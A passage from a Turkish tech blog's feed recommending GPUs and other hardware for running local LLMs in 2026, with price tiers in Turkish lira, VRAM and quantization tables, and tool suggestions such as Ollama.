&lt;li&gt;&lt;strong&gt;Cloud Services (GPT-4o/Claude 3.5)&lt;/strong&gt;: In individual use, monthly API bills can easily reach between 2,000 TL and 4,000 TL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local System&lt;/strong&gt;: A 45,000 TL mid-range setup pays for itself in about 12-18 months. Plus, even when the electricity bill is added, it is completely profitable in the long run.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More importantly, it's the peace of mind that comes from not being dependent on the cloud. As we saw in the Anthropic outage in April 2026, tying your entire workflow to the cloud is a big risk. Long story short, running locally doesn't mean matching the cloud's massive processing power. But building a system that runs under your desk, doesn't depend on the internet, doesn't leak your data, and doesn't send you API bills is incredibly satisfying, my friend. 🚀&lt;/p&gt;
&lt;p&gt;Stay safe!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;In large language models, every time a word is generated, all model weights are moved from memory to processor cores. Therefore, memory speed directly determines the word generation speed per second.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;To use Intel Arc series cards in AI, you need to install Intel's own oneAPI drivers on Linux. The installation steps are a bit more tedious than NVIDIA CUDA.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Donanım"/><category term="yapay-zeka"/><category term="llm"/><category term="gpu"/><category term="ekran-karti"/><category term="donanim"/><category term="homelab"/></entry><entry><title>Yerel LLM'ler İçin En İyi Ekran Kartları (2026): 2.700 TL'lik Pi'den 135.000 TL'lik Canavara</title><link href="https://yuceltoluyag.github.io/yerel-llmler-icin-en-iyi-gpu-2026/" rel="alternate"/><published>2026-06-04T20:30:00+03:00</published><updated>2026-06-04T20:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-04:/yerel-llmler-icin-en-iyi-gpu-2026/</id><summary type="html">&lt;p&gt;2026 yılında kendi sisteminizde Llama 4 veya Qwen 3.5 gibi modelleri çalıştırmak için en mantıklı donanım seçeneklerini ele alıyoruz. Bütçe dostu kurulumlardan canavar iş istasyonlarına uzanan bir rehber.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&amp;Ccedil;ay&amp;inodot;m&amp;inodot; tazeleyip bulut servislerinin faturalar&amp;inodot;n&amp;inodot; kontrol ederken can&amp;inodot;m s&amp;inodot;k&amp;inodot;ld&amp;inodot;. S&amp;inodot;rf basit otomasyonlar, testler ve g&amp;uuml;nl&amp;uuml;k asistanl&amp;inodot;k i&amp;scedil;leri i&amp;ccedil;in OpenAI ve Anthropic API'lerine &amp;ouml;dedi&amp;gbreve;im para &amp;ccedil;&amp;inodot;&amp;gbreve; gibi b&amp;uuml;y&amp;uuml;yordu. Kendi kendime sordum: "Y&amp;uuml;cel, biz bu i&amp;scedil;in mutfa&amp;gbreve;&amp;inodot;nday&amp;inodot;z, neden t&amp;uuml;m bu y&amp;uuml;k&amp;uuml; kendi yerel donan&amp;inodot;m&amp;inodot;m&amp;inodot;za y&amp;inodot;km&amp;inodot;yoruz?"&lt;/p&gt;
&lt;p&gt;Tabii ki ger&amp;ccedil;ek&amp;ccedil;i olal&amp;inodot;m: Masam&amp;inodot;z&amp;inodot;n alt&amp;inodot;ndaki bilgisayar, buluttaki devasa veri merkezleriyle, y&amp;uuml;z milyarlarca parametreli canavar modellerle a&amp;scedil;&amp;inodot;k atamaz dostum. 🧠 Bulutun g&amp;uuml;c&amp;uuml; her zaman apayr&amp;inodot; bir seviyede kalacak. Ama bizim amac&amp;inodot;m&amp;inodot;z da ChatGPT &amp;uuml;retmek de&amp;gbreve;il; i&amp;scedil;imizi g&amp;ouml;recek, kod yazarken elimiz aya&amp;gbreve;&amp;inodot;m&amp;inodot;z olacak tatmin edici bir yerel yapay zeka asistan&amp;inodot; aya&amp;gbreve;a kald&amp;inodot;rmak. &lt;/p&gt;
&lt;p&gt;Bunun i&amp;ccedil;in &amp;ouml;yle &amp;ccedil;uvalla para d&amp;ouml;kmeye de gerek yok asl&amp;inodot;nda. 2026 itibar&amp;inodot;yla bir Raspberry Pi'den ba&amp;scedil;lay&amp;inodot;p profesyonel i&amp;scedil; istasyonlar&amp;inodot;na kadar hangi donan&amp;inodot;m se&amp;ccedil;eneklerimiz var, VRAM ve bellek bant geni&amp;scedil;li&amp;gbreve;i d&amp;uuml;nyas&amp;inodot;nda neler d&amp;ouml;n&amp;uuml;yor, gelin birlikte bakal&amp;inodot;m.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="bant-genisligi-ve-vram-isin-matematik-ksm"&gt;Bant Geni&amp;scedil;li&amp;gbreve;i ve VRAM: &amp;Idot;&amp;scedil;in Matematik K&amp;inodot;sm&amp;inodot; 🛠️&lt;a class="headerlink" href="#bant-genisligi-ve-vram-isin-matematik-ksm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yerelde yapay zeka ko&amp;scedil;turman&amp;inodot;n ilk kural&amp;inodot;: &amp;Idot;&amp;scedil;lemcinin saf g&amp;uuml;c&amp;uuml;n&amp;uuml; falan bir kenara b&amp;inodot;rak&amp;inodot;n. Burada her &amp;scedil;ey ekran kart&amp;inodot;n&amp;inodot;n bellek miktar&amp;inodot; (VRAM) ve o belle&amp;gbreve;in ne kadar h&amp;inodot;zl&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot; (bant geni&amp;scedil;li&amp;gbreve;i) etraf&amp;inodot;nda d&amp;ouml;n&amp;uuml;yor.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;VRAM Kapasitesi:&lt;/strong&gt; Se&amp;ccedil;ti&amp;gbreve;iniz modelin bilgisayar&amp;inodot;n&amp;inodot;zda hi&amp;ccedil; a&amp;ccedil;&amp;inodot;l&amp;inodot;p a&amp;ccedil;&amp;inodot;lmayaca&amp;gbreve;&amp;inodot;n&amp;inodot; belirleyen ana s&amp;inodot;n&amp;inodot;r kap&amp;inodot;s&amp;inodot;d&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bellek Bant Geni&amp;scedil;li&amp;gbreve;i:&lt;/strong&gt; Modelin size ne kadar h&amp;inodot;zl&amp;inodot; cevap yazaca&amp;gbreve;&amp;inodot;n&amp;inodot;, saniyede ka&amp;ccedil; kelime &amp;uuml;retece&amp;gbreve;ini belirler.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Yetersiz VRAM ile b&amp;uuml;y&amp;uuml;k model &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmaya kalkmak, okyanusu &amp;ccedil;ay ka&amp;scedil;&amp;inodot;&amp;gbreve;&amp;inodot;yla bo&amp;scedil;altmaya &amp;ccedil;al&amp;inodot;&amp;scedil;mak gibidir. Kart&amp;inodot;n belle&amp;gbreve;i yetmedi&amp;gbreve;inde sistem y&amp;uuml;k&amp;uuml; bilgisayar&amp;inodot;n ana RAM'ine y&amp;inodot;kar ve h&amp;inodot;z o saniyeden sonra yerlerde s&amp;uuml;r&amp;uuml;n&amp;uuml;r.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; Ekran kartlar&amp;inodot;ndaki yeni GDDR7 bellek teknolojisi veya Apple'&amp;inodot;n M serisindeki birle&amp;scedil;ik bellek mimarisi, bu darbo&amp;gbreve;az&amp;inodot; a&amp;scedil;mak i&amp;ccedil;in elimizdeki en g&amp;uuml;&amp;ccedil;l&amp;uuml; kozlar.&lt;/p&gt;
&lt;p&gt;Tabii bu s&amp;inodot;rada i&amp;scedil;lemci ve sistem RAM'i de bo&amp;scedil; bo&amp;scedil; oturmuyor. H&amp;inodot;zl&amp;inodot; bir CPU, girdi&amp;gbreve;iniz prompt'u (komutu) ilk i&amp;scedil;leme a&amp;scedil;amas&amp;inodot;nda GPU'ya yard&amp;inodot;m ederken, sistem belle&amp;gbreve;i de modelin haf&amp;inodot;za k&amp;inodot;sm&amp;inodot;n&amp;inodot; (KV cache) s&amp;inodot;rtlar. Bu y&amp;uuml;zden GPU odakl&amp;inodot; bir sistem kursan&amp;inodot;z bile, yan&amp;inodot;na en az 32 GB h&amp;inodot;zl&amp;inodot; RAM ve modern bir i&amp;scedil;lemci (Ryzen 7000 veya Intel 13. nesil ve &amp;uuml;zeri) eklemek &amp;scedil;art. E&amp;gbreve;er bu donan&amp;inodot;m bile&amp;scedil;enlerini ad&amp;inodot;m ad&amp;inodot;m nas&amp;inodot;l kurup yap&amp;inodot;land&amp;inodot;raca&amp;gbreve;&amp;inodot;n&amp;inodot;z&amp;inodot; merak ediyorsan&amp;inodot;z &lt;a href="/yerel-llm-kurulum-rehberi-2026/"&gt;Kendi Sunucunda Yapay Zeka (2026)&lt;/a&gt; ba&amp;scedil;l&amp;inodot;kl&amp;inodot; detayl&amp;inodot; k&amp;inodot;lavuzuma g&amp;ouml;z atabilirsiniz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="donanm-seviyeleri-ve-cebe-uyan-cozumler"&gt;Donan&amp;inodot;m Seviyeleri ve Cebe Uyan &amp;Ccedil;&amp;ouml;z&amp;uuml;mler 💰&lt;a class="headerlink" href="#donanm-seviyeleri-ve-cebe-uyan-cozumler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;2026 y&amp;inodot;l&amp;inodot;nda b&amp;uuml;t&amp;ccedil;enize g&amp;ouml;re kurabilece&amp;gbreve;iniz sistem seviyelerine ve yerel fiyatlara yak&amp;inodot;ndan bakal&amp;inodot;m.&lt;/p&gt;
&lt;h3 id="cebe-zarar-vermeyecek-baslangc-seviyesi-2700-tl-13800-tl-60300"&gt;Cebe Zarar Vermeyecek Ba&amp;scedil;lang&amp;inodot;&amp;ccedil; Seviyesi (2.700 TL &amp;ndash; 13.800 TL / $60&amp;ndash;$300)&lt;a class="headerlink" href="#cebe-zarar-vermeyecek-baslangc-seviyesi-2700-tl-13800-tl-60300" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Yapay zekan&amp;inodot;n mant&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; kavramak, 3B-8B (milyar parametre) aras&amp;inodot; ufak tefek modellerle oynamak veya arka planda basit otomasyonlar &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak istiyorsan&amp;inodot;z &amp;ouml;yle b&amp;uuml;y&amp;uuml;k paralar d&amp;ouml;kmenize hi&amp;ccedil; gerek yok. Llama 4 Scout veya Qwen 3.5'in k&amp;uuml;&amp;ccedil;&amp;uuml;k modelleri, &amp;scedil;a&amp;scedil;&amp;inodot;rt&amp;inodot;c&amp;inodot; derecede m&amp;uuml;tevaz&amp;inodot; donan&amp;inodot;mlarda bile t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor. Hangi modeli se&amp;ccedil;ece&amp;gbreve;iniz konusunda karars&amp;inodot;z kald&amp;inodot;ysan&amp;inodot;z &lt;a href="/en-iyi-yerel-llm-modelleri-2026/"&gt;En &amp;Idot;yi Yerel LLM Modelleri (2026)&lt;/a&gt; incelemem size yol g&amp;ouml;sterecektir.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Raspberry Pi 5 (4GB/8GB):&lt;/strong&gt; Fiyat&amp;inodot; bizim buralarda 5.600 TL ile 6.300 TL aras&amp;inodot;nda geziniyor (ka&amp;gbreve;&amp;inodot;t &amp;uuml;st&amp;uuml;nde 60$ ama malum vergiler ve ithalat maliyetleri). Sistemi kurcalamak, &amp;ouml;&amp;gbreve;renmek i&amp;ccedil;in e&amp;gbreve;lenceli bir hobi arac&amp;inodot; ama saniyede ancak 1-2 kelime &amp;uuml;retebiliyor. Yani sab&amp;inodot;rl&amp;inodot; olman&amp;inodot;z laz&amp;inodot;m. Arka planda s&amp;uuml;rekli a&amp;ccedil;&amp;inodot;k kalacak k&amp;uuml;&amp;ccedil;&amp;uuml;k otomasyonlar i&amp;ccedil;in ideal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intel Arc B580:&lt;/strong&gt; Akak&amp;ccedil;e'de 12.000 TL civar&amp;inodot;nda bulabilece&amp;gbreve;iniz bu kart, 12 GB VRAM sunarak b&amp;uuml;y&amp;uuml;k bir s&amp;uuml;rpriz yap&amp;inodot;yor. Intel'in oneAPI deste&amp;gbreve;i sayesinde 7B'lik modelleri &amp;scedil;a&amp;scedil;&amp;inodot;rt&amp;inodot;c&amp;inodot; derecede ak&amp;inodot;c&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabiliyorsunuz.&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NVIDIA RTX 4060 (8GB):&lt;/strong&gt; 13.700 TL dolaylar&amp;inodot;nda sat&amp;inodot;l&amp;inodot;yor. Belle&amp;gbreve;i 8 GB oldu&amp;gbreve;u i&amp;ccedil;in biraz s&amp;inodot;n&amp;inodot;rda ama NVIDIA'n&amp;inodot;n CUDA ekosistemi o kadar geni&amp;scedil; ve sorunsuz ki, yapay zekaya ad&amp;inodot;m atarken ba&amp;scedil;&amp;inodot;n&amp;inodot;z&amp;inodot;n en az a&amp;gbreve;r&amp;inodot;yaca&amp;gbreve;&amp;inodot; se&amp;ccedil;enek budur.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="orta-segment-fiyatperformans-canavarlar-23000-tl-55000-tl-5001200"&gt;Orta Segment: Fiyat/Performans Canavarlar&amp;inodot; (23.000 TL &amp;ndash; 55.000 TL / $500&amp;ndash;$1.200)&lt;a class="headerlink" href="#orta-segment-fiyatperformans-canavarlar-23000-tl-55000-tl-5001200" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Yaz&amp;inodot;l&amp;inodot;mc&amp;inodot;lar&amp;inodot;n ve bu i&amp;scedil;i g&amp;uuml;nl&amp;uuml;k i&amp;scedil; ak&amp;inodot;&amp;scedil;&amp;inodot;na dahil etmek isteyenlerin bakmas&amp;inodot; gereken yer tam olarak buras&amp;inodot;. Modelleri &amp;ccedil;ok fazla s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rmadan, kafan&amp;inodot;z rahat &amp;scedil;ekilde &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;racak VRAM ve sohbet h&amp;inodot;z&amp;inodot;n&amp;inodot; s&amp;inodot;k&amp;inodot;nt&amp;inodot;ya sokmayacak bellek bant geni&amp;scedil;li&amp;gbreve;i bu segmentte ba&amp;scedil;l&amp;inodot;yor.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AMD RX 9070 XT (16GB):&lt;/strong&gt; RDNA4 mimarisi ve AMD'nin nihayet toparlayan ROCm deste&amp;gbreve;iyle bu kart, yakla&amp;scedil;&amp;inodot;k 30.000 - 35.000 TL band&amp;inodot;nda bulunabiliyor. 13B veya 14B seviyesindeki modeller i&amp;ccedil;in bi&amp;ccedil;ilmi&amp;scedil; kaftan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mac Mini M4 (32GB Birle&amp;scedil;ik Bellek):&lt;/strong&gt; &amp;Ccedil;al&amp;inodot;&amp;scedil;ma masas&amp;inodot;nda s&amp;inodot;f&amp;inodot;r ses ve d&amp;uuml;&amp;scedil;&amp;uuml;k elektrik faturas&amp;inodot; isteyenler i&amp;ccedil;in &amp;scedil;u an daha iyisi yok. Apple'&amp;inodot;n birle&amp;scedil;ik bellek mimarisi sayesinde 14B ve hatta 32B modelleri &amp;scedil;a&amp;scedil;&amp;inodot;rt&amp;inodot;c&amp;inodot; bir kararl&amp;inodot;l&amp;inodot;kla ko&amp;scedil;turuyor. T&amp;uuml;rkiye'de baz (16GB) modeli 35.000 TL civar&amp;inodot;ndan ba&amp;scedil;lasa da, yapay zeka i&amp;ccedil;in 32GB s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; se&amp;ccedil;mek &amp;scedil;art. Onun da fiyat&amp;inodot; yakla&amp;scedil;&amp;inodot;k 53.000 TL civar&amp;inodot;na &amp;ccedil;&amp;inodot;k&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Masamdaki Gizli Form&amp;uuml;l: &amp;Idot;kinci El RTX 3090 + H&amp;inodot;zl&amp;inodot; DDR5 Bellekler:&lt;/strong&gt; Do&amp;gbreve;rudan s&amp;inodot;f&amp;inodot;r ve en pahal&amp;inodot; par&amp;ccedil;alara ko&amp;scedil;mak yerine ak&amp;inodot;ll&amp;inodot;ca bir hibrit sistem kurmak benim bu konudaki favori y&amp;ouml;ntemim. Kendi &amp;ccedil;al&amp;inodot;&amp;scedil;ma odamda kurdu&amp;gbreve;um test sisteminde, ikinci elden temiz bir RTX 3090 ekran kart&amp;inodot;n&amp;inodot; y&amp;uuml;ksek h&amp;inodot;zl&amp;inodot; DDR5-8000 belleklerle e&amp;scedil;le&amp;scedil;tirdim. &lt;code&gt;llama.cpp&lt;/code&gt; &amp;uuml;zerinden modelin katmanlar&amp;inodot;n&amp;inodot;n bir k&amp;inodot;sm&amp;inodot;n&amp;inodot; ekran kart&amp;inodot; belle&amp;gbreve;ine (VRAM), s&amp;inodot;&amp;gbreve;mayan kalan k&amp;inodot;sm&amp;inodot;n&amp;inodot; ise h&amp;inodot;zl&amp;inodot; sistem belle&amp;gbreve;ine (RAM) y&amp;uuml;kleyecek &amp;scedil;ekilde ayarlad&amp;inodot;m. Bu sayede 130.000 TL'lik bir i&amp;scedil; istasyonu maliyetine girmeden, neredeyse yar&amp;inodot; fiyat&amp;inodot;na 70B'lik devasa modelleri gayet makul bir h&amp;inodot;zda ko&amp;scedil;turabiliyorum.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="profesyonel-lig-paraya-kyp-canavar-arayanlar-73000-tl-135000-tl-16003000"&gt;Profesyonel Lig: Paraya K&amp;inodot;y&amp;inodot;p Canavar Arayanlar (73.000 TL &amp;ndash; 135.000 TL+ / $1.600&amp;ndash;$3.000+)&lt;a class="headerlink" href="#profesyonel-lig-paraya-kyp-canavar-arayanlar-73000-tl-135000-tl-16003000" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Hedefiniz 70B ve &amp;uuml;zeri devasa modelleri &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak, karma&amp;scedil;&amp;inodot;k mant&amp;inodot;k y&amp;uuml;r&amp;uuml;tme (reasoning) ad&amp;inodot;mlar&amp;inodot;n&amp;inodot; yerelde halletmek ve tamamen size &amp;ouml;zel yerel ajanlar ko&amp;scedil;turmaksa, y&amp;uuml;ksek VRAM ve y&amp;uuml;ksek bellek bant geni&amp;scedil;li&amp;gbreve;ine paray&amp;inodot; basmak zorundas&amp;inodot;n&amp;inodot;z.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Yeni Nesil Amiral Gemisi (RTX 5090 / 5080):&lt;/strong&gt; NVIDIA'n&amp;inodot;n Blackwell mimarisi ve ultra h&amp;inodot;zl&amp;inodot; GDDR7 bellekleri bu i&amp;scedil;in zirvesi. RTX 5090'&amp;inodot;n sundu&amp;gbreve;u 32 GB VRAM, b&amp;uuml;y&amp;uuml;k modellerin dilini &amp;ccedil;&amp;ouml;z&amp;uuml;yor. &amp;Uuml;lkemizde fiyat&amp;inodot; vergilerle falan can yaksa da en tepe performans&amp;inodot;n adresi buras&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;Ccedil;ift RTX 3090 Kurulumu:&lt;/strong&gt; Kasa toplamaktan, donan&amp;inodot;mla u&amp;gbreve;ra&amp;scedil;maktan korkmayanlar i&amp;ccedil;in gizli bir cennet. &amp;Idot;kinci elden bulaca&amp;gbreve;&amp;inodot;n&amp;inodot;z iki adet RTX 3090 size toplamda 48 GB VRAM sunuyor. 70B'lik modelleri tamamen ekran kart&amp;inodot; belle&amp;gbreve;inde, saniyede 15-20 kelime gibi muazzam bir h&amp;inodot;zla &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rman&amp;inodot;n en hesapl&amp;inodot; yolu h&amp;acirc;l&amp;acirc; bu.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mac Studio M4 Ultra (64GB+ Birle&amp;scedil;ik Bellek):&lt;/strong&gt; "Ben bilgisayar&amp;inodot;n i&amp;ccedil;ini a&amp;ccedil;makla, s&amp;uuml;r&amp;uuml;c&amp;uuml;lerle, &amp;ccedil;ift kart&amp;inodot;n &amp;inodot;s&amp;inodot;s&amp;inodot;yla u&amp;gbreve;ra&amp;scedil;amam, fi&amp;scedil;e tak&amp;inodot;p &amp;ccedil;al&amp;inodot;&amp;scedil;s&amp;inodot;n" diyen profesyoneller i&amp;ccedil;in nihai &amp;ccedil;&amp;ouml;z&amp;uuml;m. Tek s&amp;inodot;k&amp;inodot;nt&amp;inodot;s&amp;inodot; c&amp;uuml;zdanda b&amp;inodot;rakaca&amp;gbreve;&amp;inodot; o derin yara.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="hangi-seviye-sana-uygun-karslastrma-tablosu_1"&gt;Hangi Seviye Sana Uygun? (Kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;rma Tablosu)&lt;a class="headerlink" href="#hangi-seviye-sana-uygun-karslastrma-tablosu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Seviye&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Yakla&amp;scedil;&amp;inodot;k B&amp;uuml;t&amp;ccedil;e&lt;/th&gt;
&lt;th style="text-align: left;"&gt;En &amp;Idot;yi F/P Cihaz&amp;inodot;&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Model Kapasitesi&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&amp;Idot;deal Kullan&amp;inodot;m Amac&amp;inodot;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Giri&amp;scedil; Seviyesi&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2.700 TL &amp;ndash; 13.800 TL&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Intel Arc B580&lt;/td&gt;
&lt;td style="text-align: left;"&gt;3B &amp;ndash; 8B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;Ouml;&amp;gbreve;renme ve K&amp;uuml;&amp;ccedil;&amp;uuml;k Ajanlar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Orta Segment&lt;/td&gt;
&lt;td style="text-align: left;"&gt;23.000 TL &amp;ndash; 55.000 TL&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RX 9070 XT / M4&lt;/td&gt;
&lt;td style="text-align: left;"&gt;13B &amp;ndash; 34B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Kodlama ve G&amp;uuml;nl&amp;uuml;k Yard&amp;inodot;mc&amp;inodot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;70B Hibrit&lt;/td&gt;
&lt;td style="text-align: left;"&gt;~50.000 TL&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2. El 3090 + DDR5&lt;/td&gt;
&lt;td style="text-align: left;"&gt;70B (S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil;)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;Ouml;zel Mant&amp;inodot;k Y&amp;uuml;r&amp;uuml;tme&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Profesyonel&lt;/td&gt;
&lt;td style="text-align: left;"&gt;73.000 TL+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 5090 / &amp;Ccedil;ift 3090&lt;/td&gt;
&lt;td style="text-align: left;"&gt;70B+ (Tam H&amp;inodot;z)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Profesyonel &amp;Idot;&amp;scedil; Ak&amp;inodot;&amp;scedil;lar&amp;inodot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="bellek-boyutu-ve-skstrma-quantization-oranlar"&gt;Bellek Boyutu ve S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma (Quantization) Oranlar&amp;inodot; 📊&lt;a class="headerlink" href="#bellek-boyutu-ve-skstrma-quantization-oranlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Boyutu&lt;/th&gt;
&lt;th style="text-align: left;"&gt;FP16 (S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lmam&amp;inodot;&amp;scedil;)&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Q8 (8-bit S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma)&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Q4 (4-bit S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma)&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Minimum Ekran Kart&amp;inodot;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;7B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;14-16 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;8-10 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;4-6 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 4060 (8GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;13B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;26-30 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;15-18 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;10-14 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RX 9070 (16GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;34B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;68-75 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;38-45 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;20-25 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 3090/4090 (24GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;70B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;140-160 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;75-85 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;35-45 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2x RTX 3090 / RTX 5090&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="yazlm-taraf-bu-donanm-nasl-kosturacagz"&gt;Yaz&amp;inodot;l&amp;inodot;m Taraf&amp;inodot;: Bu Donan&amp;inodot;m&amp;inodot; Nas&amp;inodot;l Ko&amp;scedil;turaca&amp;gbreve;&amp;inodot;z? ⚙️&lt;a class="headerlink" href="#yazlm-taraf-bu-donanm-nasl-kosturacagz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Elinizde donan&amp;inodot;m ne kadar g&amp;uuml;&amp;ccedil;l&amp;uuml; olursa olsun, do&amp;gbreve;ru yaz&amp;inodot;l&amp;inodot;mlarla beslemedi&amp;gbreve;iniz s&amp;uuml;rece o kartlar kasada yatan pahal&amp;inodot; birer oyuncaktan &amp;ouml;teye gitmez. 2026 itibar&amp;inodot;yla yerel yapay zeka d&amp;uuml;nyas&amp;inodot;nda elimiz aya&amp;gbreve;&amp;inodot;m&amp;inodot;z olan &amp;uuml;&amp;ccedil; ana ara&amp;ccedil; var:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://ollama.com/" rel="noopener noreferrer" target="_blank"&gt;Ollama&lt;/a&gt;:&lt;/strong&gt; Geli&amp;scedil;tiriciler i&amp;ccedil;in can simidi. Kurulumu o kadar kolay ki, ekran kart&amp;inodot; s&amp;uuml;r&amp;uuml;c&amp;uuml;leriyle veya model dosyalar&amp;inodot;yla u&amp;gbreve;ra&amp;scedil;may&amp;inodot; tamamen unutturuyor.&lt;/li&gt;
